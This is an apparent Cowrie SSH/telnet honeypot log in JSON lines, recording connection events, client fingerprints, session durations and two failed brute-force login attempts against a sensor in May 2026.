{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":35254,"dst_ip":"159.203.135.109","dst_port":23,"session":"855b083e4243","protocol":"telnet","message":"New connection: 88.202.190.14:35254 (159.203.135.109:23) [session: 855b083e4243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:08.096716Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":41354,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3747bce6f1a","protocol":"ssh","message":"New connection: 94.156.152.18:41354 (159.203.135.109:22) [session: e3747bce6f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:08.883987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:08.892954Z","src_ip":"94.156.152.18","session":"e3747bce6f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":35104,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d73a031cf0","protocol":"telnet","message":"New connection: 88.202.190.14:35104 (159.203.135.109:23) [session: e2d73a031cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:08.946617Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:09.028391Z","src_ip":"94.156.152.18","session":"e3747bce6f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17134737968445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:09.271598Z","src_ip":"88.202.190.14","session":"d2146247a4bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#4VCPU16GBAMD","message":"login attempt [root/QUEEN#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:09.431616Z","src_ip":"94.156.152.18","session":"e3747bce6f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":36942,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5de6c4b15eb","protocol":"telnet","message":"New connection: 88.202.190.14:36942 (159.203.135.109:23) [session: e5de6c4b15eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:09.717993Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":35242,"dst_ip":"159.203.135.109","dst_port":23,"session":"713a3889362a","protocol":"telnet","message":"New connection: 88.202.190.14:35242 (159.203.135.109:23) [session: 713a3889362a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:10.089896Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:10.568701Z","src_ip":"94.156.152.18","session":"e3747bce6f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16442632675171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:10.698124Z","src_ip":"88.202.190.14","session":"9ad25872b75d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28365421295166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:11.084445Z","src_ip":"88.202.190.14","session":"ea3cc7af3a05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834012985229492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:11.097103Z","src_ip":"88.202.190.14","session":"c5f8b844fdc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":37322,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cb178125533","protocol":"telnet","message":"New connection: 88.202.190.14:37322 (159.203.135.109:23) [session: 0cb178125533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:11.113864Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":38850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f1f521f81c","protocol":"telnet","message":"New connection: 88.202.190.14:38850 (159.203.135.109:23) [session: d5f1f521f81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:11.471643Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":39028,"dst_ip":"159.203.135.109","dst_port":23,"session":"34e9698a1415","protocol":"telnet","message":"New connection: 88.202.190.14:39028 (159.203.135.109:23) [session: 34e9698a1415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:11.601998Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":39506,"dst_ip":"159.203.135.109","dst_port":23,"session":"215a9865e7b6","protocol":"telnet","message":"New connection: 88.202.190.14:39506 (159.203.135.109:23) [session: 215a9865e7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:12.100044Z"}
{"eventid":"cowrie.session.closed","duration":31.56412959098816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:12.664766Z","src_ip":"88.202.190.14","session":"5515af245de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40288,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c0258d9f454","protocol":"telnet","message":"New connection: 88.202.190.14:40288 (159.203.135.109:23) [session: 4c0258d9f454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:12.760349Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":39526,"dst_ip":"159.203.135.109","dst_port":23,"session":"6404fc079a26","protocol":"telnet","message":"New connection: 88.202.190.14:39526 (159.203.135.109:23) [session: 6404fc079a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:13.105227Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40770,"dst_ip":"159.203.135.109","dst_port":23,"session":"3acf13d0749f","protocol":"telnet","message":"New connection: 88.202.190.14:40770 (159.203.135.109:23) [session: 3acf13d0749f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:13.314413Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":42208,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2c7207b11cf","protocol":"telnet","message":"New connection: 88.202.190.14:42208 (159.203.135.109:23) [session: b2c7207b11cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:14.669749Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":42258,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7e957529688","protocol":"telnet","message":"New connection: 88.202.190.14:42258 (159.203.135.109:23) [session: c7e957529688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:14.737871Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":41316,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8fe12f8cc1","protocol":"telnet","message":"New connection: 88.202.190.14:41316 (159.203.135.109:23) [session: 5f8fe12f8cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:14.800281Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":43266,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b06ad8cf494","protocol":"telnet","message":"New connection: 88.202.190.14:43266 (159.203.135.109:23) [session: 6b06ad8cf494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:15.849536Z"}
{"eventid":"cowrie.session.closed","duration":31.20050835609436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:15.853950Z","src_ip":"88.202.190.14","session":"a1339d0e13ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40784,"dst_ip":"159.203.135.109","dst_port":23,"session":"d940b9051829","protocol":"telnet","message":"New connection: 88.202.190.14:40784 (159.203.135.109:23) [session: d940b9051829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:16.018985Z"}
{"eventid":"cowrie.session.closed","duration":0.005639076232910156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:16.024471Z","src_ip":"88.202.190.14","session":"d940b9051829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985156536102295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:16.205045Z","src_ip":"88.202.190.14","session":"3f14b24071ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":43184,"dst_ip":"159.203.135.109","dst_port":23,"session":"0900d078fc94","protocol":"telnet","message":"New connection: 88.202.190.14:43184 (159.203.135.109:23) [session: 0900d078fc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:16.763821Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":44702,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ba0a06262c5","protocol":"telnet","message":"New connection: 88.202.190.14:44702 (159.203.135.109:23) [session: 6ba0a06262c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:17.342477Z"}
{"eventid":"cowrie.session.closed","duration":31.194477558135986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:17.368247Z","src_ip":"88.202.190.14","session":"936fe124bcc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":42090,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdbbaff80c72","protocol":"telnet","message":"New connection: 88.202.190.14:42090 (159.203.135.109:23) [session: bdbbaff80c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:17.609809Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":45644,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee530a0f71a","protocol":"telnet","message":"New connection: 88.202.190.14:45644 (159.203.135.109:23) [session: fee530a0f71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:18.408075Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":56107,"dst_ip":"10.17.0.5","dst_port":22,"session":"664f954c2fea","protocol":"ssh","message":"New connection: 216.155.93.75:56107 (10.17.0.5:22) [session: 664f954c2fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:19.078054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:19.083115Z","src_ip":"216.155.93.75","session":"664f954c2fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:19.240846Z","src_ip":"216.155.93.75","session":"664f954c2fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.242083072662354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:19.446465Z","src_ip":"88.202.190.14","session":"7a90e7aad8ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:19.902642Z","src_ip":"216.155.93.75","session":"664f954c2fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.898000955581665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:20.424209Z","src_ip":"88.202.190.14","session":"2e1b3b291c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835894346237183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:20.641585Z","src_ip":"88.202.190.14","session":"9b3e19646de2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39560580253601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:20.761834Z","src_ip":"88.202.190.14","session":"bec619ff05d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:21.063207Z","src_ip":"216.155.93.75","session":"664f954c2fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73762059211731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:21.152241Z","src_ip":"88.202.190.14","session":"805296bd9063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":47668,"dst_ip":"159.203.135.109","dst_port":23,"session":"9184bd4ec780","protocol":"telnet","message":"New connection: 88.202.190.14:47668 (159.203.135.109:23) [session: 9184bd4ec780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:21.524234Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":48808,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc0f33f2ef4","protocol":"telnet","message":"New connection: 88.202.190.14:48808 (159.203.135.109:23) [session: 9fc0f33f2ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:21.776097Z"}
{"eventid":"cowrie.session.closed","duration":31.453650951385498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:22.455719Z","src_ip":"88.202.190.14","session":"5bca101143ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":47100,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1fa38e41d4d","protocol":"telnet","message":"New connection: 88.202.190.14:47100 (159.203.135.109:23) [session: f1fa38e41d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:22.857395Z"}
{"eventid":"cowrie.session.closed","duration":31.548126459121704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:22.948999Z","src_ip":"88.202.190.14","session":"eae8bfca2cb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":50744,"dst_ip":"159.203.135.109","dst_port":23,"session":"317bfefb6a10","protocol":"telnet","message":"New connection: 88.202.190.14:50744 (159.203.135.109:23) [session: 317bfefb6a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:23.691913Z"}
{"eventid":"cowrie.session.closed","duration":31.471938610076904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:23.707239Z","src_ip":"88.202.190.14","session":"037929a1394f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474254369735718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:23.736860Z","src_ip":"88.202.190.14","session":"14e32ea5ab0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07534837722778,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:23.939919Z","src_ip":"88.202.190.14","session":"5d2fd8eceb73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163870811462402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:24.895893Z","src_ip":"88.202.190.14","session":"b240f37dd4e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508988857269287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:26.036770Z","src_ip":"88.202.190.14","session":"b57abb1d1e6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150755405426025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:26.689958Z","src_ip":"88.202.190.14","session":"1a078f0fb931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287542581558228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:26.977515Z","src_ip":"88.202.190.14","session":"e6d0a1fa0f6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54454,"dst_ip":"159.203.135.109","dst_port":23,"session":"386677f57b2a","protocol":"telnet","message":"New connection: 88.202.190.14:54454 (159.203.135.109:23) [session: 386677f57b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:28.601465Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54634,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d143bafd9c9","protocol":"telnet","message":"New connection: 88.202.190.14:54634 (159.203.135.109:23) [session: 7d143bafd9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:28.821874Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55808,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e295caad634","protocol":"telnet","message":"New connection: 88.202.190.14:55808 (159.203.135.109:23) [session: 3e295caad634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:29.232563Z"}
{"eventid":"cowrie.session.closed","duration":31.520021200180054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:29.748179Z","src_ip":"88.202.190.14","session":"da960ab4e441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416832447052002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:30.113799Z","src_ip":"88.202.190.14","session":"3ebbf51e400a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79729175567627,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:30.154478Z","src_ip":"88.202.190.14","session":"ef67f159c43f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":56872,"dst_ip":"159.203.135.109","dst_port":23,"session":"d240164c5806","protocol":"telnet","message":"New connection: 88.202.190.14:56872 (159.203.135.109:23) [session: d240164c5806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:30.637980Z"}
{"eventid":"cowrie.session.closed","duration":31.72921395301819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:30.742347Z","src_ip":"88.202.190.14","session":"e3b423f09045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242998361587524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:30.817131Z","src_ip":"88.202.190.14","session":"3dc431d9d7a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046586513519287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:31.407781Z","src_ip":"88.202.190.14","session":"57847912ff83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284469842910767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:31.451519Z","src_ip":"88.202.190.14","session":"b9fd0e640157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.457507610321045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:32.048551Z","src_ip":"88.202.190.14","session":"6c8780bc0e74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193644046783447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:32.343106Z","src_ip":"88.202.190.14","session":"bc92e3651444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":58238,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6be61137507","protocol":"telnet","message":"New connection: 88.202.190.14:58238 (159.203.135.109:23) [session: f6be61137507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:32.413780Z"}
{"eventid":"cowrie.session.closed","duration":31.54703974723816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:32.582565Z","src_ip":"88.202.190.14","session":"299c58a27529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":33740,"dst_ip":"159.203.135.109","dst_port":22,"session":"acd8502d1dac","protocol":"ssh","message":"New connection: 43.243.142.42:33740 (159.203.135.109:22) [session: acd8502d1dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:32.619613Z"}
